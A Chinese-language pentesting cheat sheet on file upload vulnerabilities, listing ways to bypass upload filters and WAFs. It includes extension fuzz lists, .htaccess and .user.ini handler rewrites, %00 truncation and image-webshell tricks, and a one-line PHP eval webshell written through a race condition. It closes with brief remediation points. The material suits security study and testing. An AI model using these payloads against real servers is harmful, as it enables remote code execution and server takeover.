文件上传
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤
,导致用户可以利用此功能,上传能被服务端解析执行的文件
,并通过此文件获得执行服务端命令的能力
。
上传绕过
类型判断
常规上传
前端绕过
使用Burp等抓包工具修改文件后缀/类型
后端绕过
文件上传常见验证:
- 后缀名,类型,文件头等
- 后缀名:黑名单,白名单
- 文件类型:MTME信息
- 文件头:文件数据头部信息
黑名单绕过
# 尝试特殊后缀(可能未过滤完全)
利用Burp fuzz测试
PHP:
".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml"
JSP:
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml"
ASP:
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
# 后缀大小写绕过
躲避黑名单检测
# 重写解析规则
(1)Apache下 非nts版本PHP时:利用.htaccess文件绕过
条件:LoadModule rewrite_module modules/mod_rewrite.so rewrite模块为开启状态
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
(2).user.ini
AddType application/x-httpd-php .jpg
将所有后缀为.jpg的文件作为php文件解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
将所有文件名包含BaiZe的文件作为php文件解析
# 文件后缀增加 空格 . _ 尝试绕过(WIndows下)
一般用于Windows服务器,添加空格躲避黑名单检测,上传后系统系统自动去除文件名中空格。
# ::$DATA绕过
在Windows的时候如果"文件名"+"::$DATA" 会把"::$DATA"之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名
# 替换文件名中敏感词
一次过滤:可以双写绕过
循环过滤:较为安全
白名单绕过
# %00绕过 终止符
%00只针对GET传参,POST传参不能识别URL编码,所以需要在POST内容中进行URL解码 或 修改Hex值为00
图片内容及其它
# 文件头检测
修改文件头信息或使用图片马
# 图片马绕过
copy pho.jpg/b+hack.php/a hack.jpg
利用copy命令合成图片马,配合解析漏洞执行
# 二次渲染 条件竞争逻辑绕过(针对先上传再检测的web网站)
上传生成木马 不断上传并尝试访问 直到执行成功
file_put_contents('2.php','<?php eval($_REQUEST[shell])?>');
# 文件路径控制
upload/upload-19.php/.
upload/upload-19.php[截断].jpg
# 数组绕过
后端用数组判断文件后缀
可直接上传对应数组绕过检测
黑盒时依次遍历数组元素,传输规定后缀测试是否为数组后缀检测
编辑器上传点
关键词:Editor
查版本 找历史漏洞EXP fuzz
CMS上传点
CMS识别->历史漏洞搜集->尝试利用
其它/CVE
-
文件包含漏洞
-
文件解析漏洞
WAF绕过
上传参数解析
Content-Disposition: 一般可更改
name: 表单参数值,不能更改
filename: 文件名,可以更改
Content-Type: 文件MIME,视情况更改
常见绕过
数据溢出-防匹配(·) 文件名之前大量 垃圾数据+';'
符号变异-防匹配 ' " ;
文件名引号变换 后加分号 去一个引号
数据截断-防匹配 %00 ; 换行 /
.php%00.jpg x.jpg;.php .php中间换行
重复数据-防匹配(参数多次) 复写filename等参数 最后一个改为php
文件上传修复
-
后瑞验证:采用服务瑞验证模式
-
后缀检测:基于黑名单,白名单过滤
-
MIME检测:基于上传自带类型检测
-
内容检测:文件头,完整性检测
-
自带函数过滤:参考upload-labs函数
-
自定义函数过滤:function check file(){}时
-
防护产品:宝塔,云盾,安全狗等